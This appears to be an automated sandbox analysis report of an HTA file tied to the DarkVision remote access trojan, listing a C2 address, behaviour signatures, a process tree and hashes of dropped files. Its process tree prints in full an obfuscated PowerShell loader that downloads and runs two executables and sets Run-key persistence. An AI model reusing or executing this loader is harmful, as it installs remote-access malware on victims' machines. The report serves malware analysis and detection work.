Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    29-11-2024 16:08

General

  • Target

    29112024_1608_upgrade.hta

  • Size

    25KB

  • MD5

    03f88b6e5c92cf8865b13fb7495eac0a

  • SHA1

    5f8a0e82674b25a9ef0f5d93f23075b1d7fb632b

  • SHA256

    c839ec03c9b07879980d362ba4615df453d6e5847baf8fb89e1d0f2c5bafb2b8

  • SHA512

    6d3baedcb209cbeb080c0a5bf31c33441f2c31f3fba77c95e7ff7c549db05871564fca22b30971e0e8465aa9822cb64a06ec7daa7911c7c9318ee4ebcd267d94

  • SSDEEP

    192:b4sMlPX9+eCSEXxJckNfWMLAxdEW0UDqSbsCxLuoe23qNT2xZg6w0JGppinxDkdv:b4pX9+eCSEZLgi23q+gSIuq

Malware Config

Extracted

Family

darkvision

C2

5.206.227.213

Signatures

  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

  • Darkvision family
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 23 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\29112024_1608_upgrade.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Adds Run key to start application
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Users\Admin\AppData\Roaming\KNVYINNN.exe
        "C:\Users\Admin\AppData\Roaming\KNVYINNN.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2852
        • C:\Users\Admin\pyexec.exe
          "C:\Users\Admin\pyexec.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exe
            C:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\SysWOW64\cmd.exe
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2724
              • C:\Users\Admin\AppData\Local\Temp\BQE_Fast.exe
                C:\Users\Admin\AppData\Local\Temp\BQE_Fast.exe
                7⤵
                • Loads dropped DLL
                PID:1720
      • C:\Users\Admin\AppData\Roaming\second.exe
        "C:\Users\Admin\AppData\Roaming\second.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Users\Admin\Virtual.exe
          "C:\Users\Admin\Virtual.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:380
          • C:\Users\Admin\AppData\Roaming\RemoteSvc\Virtual.exe
            C:\Users\Admin\AppData\Roaming\RemoteSvc\Virtual.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2396
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\SysWOW64\cmd.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:1780
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                7⤵
                  PID:3032

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\456c9b54

      Filesize

      1.1MB

      MD5

      7214744860d10d91087b4b6f40e93f3d

      SHA1

      70653f1293e3e97b048308adc414bb47b29892fa

      SHA256

      39cb22c218808d3c7e993dcb9e6f4e91e616512b749dc72be3a4f429a947e7ce

      SHA512

      9c3096a27f64f7f07e68c61564efb48320482cc5abc81816f8042d4c38adb71cda021253661abdde47c9ff46dddc7496c7164a38261af36c1b40bd953d492477

    • C:\Users\Admin\AppData\Local\Temp\d94d0ee1

      Filesize

      5.5MB

      MD5

      8374b9105398d81a430a8942fba1bf7f

      SHA1

      c32db0f38b7f832c551aae99ff99d8afa3d3632c

      SHA256

      d84e3b18ed19480ae33fc3d508c85df315b0792da69072438225344027ca9cbc

      SHA512

      6259db3acb4e9ea6b18d01f2a372effbfa1365ae3e12febbfa1bc25bd00dbff34122c60a64cd68e9c9ca1fadcf5347b5317dc186daf36453db199d8209964947

    • C:\Users\Admin\MSVCR100.dll

      Filesize

      809KB

      MD5

      366fd6f3a451351b5df2d7c4ecf4c73a

      SHA1

      50db750522b9630757f91b53df377fd4ed4e2d66

      SHA256

      ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

      SHA512

      2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

    • C:\Users\Admin\PYTHON27.DLL

      Filesize

      2.5MB

      MD5

      22ac09892f3706c6660d1ffe3387c07a

      SHA1

      06e0f1ea9958b338598d0b1378918e4efca773b8

      SHA256

      2e158dfbcf37e16d4b0d73d59f5d583a733a12c7cfed243a76b2de2fc9defbf7

      SHA512

      4e40e904e680fd861bbb782c4b790c3b290e612e8fc196ab520b1ab7de53e696df316d45968f744ddf218ce04ca06ae2ae1cbf8b6b8cab9c04c980ca32befeb0

    • C:\Users\Admin\VBoxRT.dll

      Filesize

      4.0MB

      MD5

      1ed9d695fd31239e2b16e3712f96965f

      SHA1

      acb9c07dedc5cd9fe5632ab92f77f0bd046d2bb2

      SHA256

      414c538d3884da4a5737f0fab8834333dc520e50c230d9e08cc40832806a0730

      SHA512

      2e3d8326b8e38b4d2babf6c69fe552f3f58c8672fac269ecdd1f9a90fde3b0917971bcb79b0fa46d4353dadd93a482b60d8f02b3065fe907b5a6067202a5333c

    • C:\Users\Admin\hvotj

      Filesize

      4.4MB

      MD5

      e70ee3bca802db0197b2632b0f2ab4db

      SHA1

      aa7e9665baaa4a2c487dd5d1059b2cb2cdcae8e3

      SHA256

      0cbf2430f07b5bdef2633605e0a65ed68ac1b3dbf3ae5bb8b79695f40a48aefd

      SHA512

      e93c763eff21a05c8d283a07ea9a6a357fa92394f2da35e75f3796e8ca94f9f220811ead59b5d562a7f20a6e2caa459a20dc8076a749d81628253dcba1fe1709

    • C:\Users\Admin\ikfusab

      Filesize

      783KB

      MD5

      72381196433e3385bb4be8ff422800ef

      SHA1

      d81bc8d8036ef92e7f24228618350e77827f314d

      SHA256

      bf7db4b113588c19dc13603024ecf3d90bb8eb3854ad00fad883a74e001a341a

      SHA512

      38d2c4821c147d47381c15aacb76b577aee9fab81329b71be0b965ce31ab76b26cbb683d919b033aa79594aabc0401ce5d336de537724cfadc9ccbbfbfc5a678

    • C:\Users\Admin\ikvseqx

      Filesize

      22KB

      MD5

      9078f84220e8b7379bfa2f4333995bc1

      SHA1

      21f0cbeffdcd99bce6521aadead7aa6f68edd666

      SHA256

      b7c4fec4464e43a5736bf764f137f9aee03c7e0d67755d964ab74854bc725f8f

      SHA512

      45dd6188e3085d34e632091068f9d7c31d22e2643a20fb1a01c1c255f593e71fa2aeb34fd85d22dfacfbbdf7a1d69750206745215ee77d01a759ada9849be090

    • C:\Users\Admin\msvcr90.dll

      Filesize

      638KB

      MD5

      11d49148a302de4104ded6a92b78b0ed

      SHA1

      fd58a091b39ed52611ade20a782ef58ac33012af

      SHA256

      ceb0947d898bc2a55a50f092f5ed3f7be64ac1cd4661022eefd3edd4029213b0

      SHA512

      fdc43b3ee38f7beb2375c953a29db8bcf66b73b78ccc04b147e26108f3b650c0a431b276853bb8e08167d34a8cc9c6b7918daef9ebc0a4833b1534c5afac75e4

    • C:\Users\Admin\pyexec.exe

      Filesize

      28KB

      MD5

      b6f6c3c38568ee26f1ac70411a822405

      SHA1

      5b94d0adac4df2d7179c378750c4e3417231125f

      SHA256

      a73454c7fad23a80a3f6540afdb64fc334980a11402569f1986aa39995ae496d

      SHA512

      5c0a5e9a623a942aff9d58d6e7a23b7d2bba6a4155824aa8bb94dbd069a8c15c00df48f12224622efcd5042b6847c8fb476c43390e9e576c42efc22e3c02a122

    • C:\Users\Admin\sgx

      Filesize

      17KB

      MD5

      d00b94674f06f45b8315ccf49d3a383b

      SHA1

      465cccf79a1b7ab9d973db70c3a253e4a066aa6b

      SHA256

      fc2ebd32f984ec563113d6759db21d1ff4394da6bc0c688c9165d1d2e60fadcd

      SHA512

      63768752a2406baf517f675b6130798d55f16731152491f4c99c0d39aab394eb96a67410875bc947685125bce611fc50b021b9a2935d491be62b3f75e9bb70f6

    • \Users\Admin\AppData\Local\Temp\BQE_Fast.exe

      Filesize

      2.3MB

      MD5

      967f4470627f823f4d7981e511c9824f

      SHA1

      416501b096df80ddc49f4144c3832cf2cadb9cb2

      SHA256

      b22bf1210b5fd173a210ebfa9092390aa0513c41e1914cbe161eb547f049ef91

      SHA512

      8883ead428c9d4b415046de9f8398aa1f65ae81fe7945a840c822620e18f6f9930cce2e10acff3b5da8b9c817ade3dabc1de576cbd255087267f77341900a41c

    • \Users\Admin\AppData\Roaming\KNVYINNN.exe

      Filesize

      6.1MB

      MD5

      e06afcdb16d22bd45bc3a5b01c96da3a

      SHA1

      a0f776c4c64a808676082449f23858257f1aa132

      SHA256

      5665bb7e9557ec139e0a60fd43b8775fb9bb764db581e7e2278c83b1f2c3c358

      SHA512

      13beb7a8aa1aae7f182cdc0215d56feac1f04532dce6d1fddc358d422e571616f2fcea569bf6f1a8dcdc5733780938b4f82681e24290338852e6e37102741e33

    • \Users\Admin\AppData\Roaming\second.exe

      Filesize

      4.0MB

      MD5

      47cb10ebf122aea1d817c5b57737c2fc

      SHA1

      074b2f5ab20d09dcf7c0c8701568fc3654a47303

      SHA256

      54be46f3daaad32f18eb85dae280b3ca6f81c640dd9531ed16b71817a3a2973c

      SHA512

      c8237bfb26a625eaeafe36dc0277626735da1f2dbf33208374a28ce08c52b97cb2c087b85bd227d6cc7b7541743c28d674415031ee600853056af393ead26ecb

    • \Users\Admin\VBoxDDU.dll

      Filesize

      371KB

      MD5

      496df6ad1a158ed5037138e397713ef0

      SHA1

      287bd2219c955687baa399ded57e9ab64334c63c

      SHA256

      07c04290f53aaaaa7df6b6ea3a53103b6e3ef8ff658d8097617a9c48dfc6e90a

      SHA512

      422da26a8f50c1f02c1cc7c4bed37cdb33732039bba82f32c2a14baa8c6a7bc5544856ab26a2071b5ea8e731a296e2c69071da2f067312d05763aa3a9928bb3a

    • \Users\Admin\Virtual.exe

      Filesize

      3.4MB

      MD5

      c8a2de7077f97d4bce1a44317b49ef41

      SHA1

      6cb3212ec9be08cb5a29bf8d37e9ca845efc18c9

      SHA256

      448402c129a721812fa1c5f279f5ca906b9c8bbca652a91655d144d20ce5e6b4

      SHA512

      9815eba1566a8e33734f6a218071ec501dd1f799b1535e25d87c2b416b928ae8d15f8218cf20e685f9907ec39c202cbfc4728fe6ab9d87b3de345109f626845e

    • \Users\Admin\msvcp100.dll

      Filesize

      593KB

      MD5

      d029339c0f59cf662094eddf8c42b2b5

      SHA1

      a0b6de44255ce7bfade9a5b559dd04f2972bfdc8

      SHA256

      934d882efd3c0f3f1efbc238ef87708f3879f5bb456d30af62f3368d58b6aa4c

      SHA512

      021d9af52e68cb7a3b0042d9ed6c9418552ee16df966f9ccedd458567c47d70471cb8851a69d3982d64571369664faeeae3be90e2e88a909005b9cdb73679c82

    • memory/380-151-0x000007FEF5C30000-0x000007FEF5D88000-memory.dmp

      Filesize

      1.3MB

    • memory/1720-185-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

      Filesize

      4KB

    • memory/1720-186-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

      Filesize

      4KB

    • memory/1720-190-0x0000000000160000-0x000000000045D000-memory.dmp

      Filesize

      3.0MB

    • memory/1720-189-0x0000000000160000-0x000000000045D000-memory.dmp

      Filesize

      3.0MB

    • memory/1780-187-0x0000000077050000-0x00000000771F9000-memory.dmp

      Filesize

      1.7MB

    • memory/2396-181-0x000007FEF6100000-0x000007FEF6258000-memory.dmp

      Filesize

      1.3MB

    • memory/2396-176-0x000007FEF6100000-0x000007FEF6258000-memory.dmp

      Filesize

      1.3MB

    • memory/2724-103-0x0000000077050000-0x00000000771F9000-memory.dmp

      Filesize

      1.7MB

    • memory/2724-178-0x000000006E530000-0x000000006E6A4000-memory.dmp

      Filesize

      1.5MB

    • memory/2764-49-0x000000006E530000-0x000000006E6A4000-memory.dmp

      Filesize

      1.5MB

    • memory/2764-99-0x000000006E530000-0x000000006E6A4000-memory.dmp

      Filesize

      1.5MB

    • memory/2764-50-0x0000000077050000-0x00000000771F9000-memory.dmp

      Filesize

      1.7MB

    • memory/2828-33-0x0000000077050000-0x00000000771F9000-memory.dmp

      Filesize

      1.7MB

    • memory/2828-32-0x000000006E5E0000-0x000000006E754000-memory.dmp

      Filesize

      1.5MB

    • memory/3032-194-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

      Filesize

      4KB

    • memory/3032-193-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

      Filesize

      4KB

    • memory/3032-195-0x0000000140000000-0x000000014006D000-memory.dmp

      Filesize

      436KB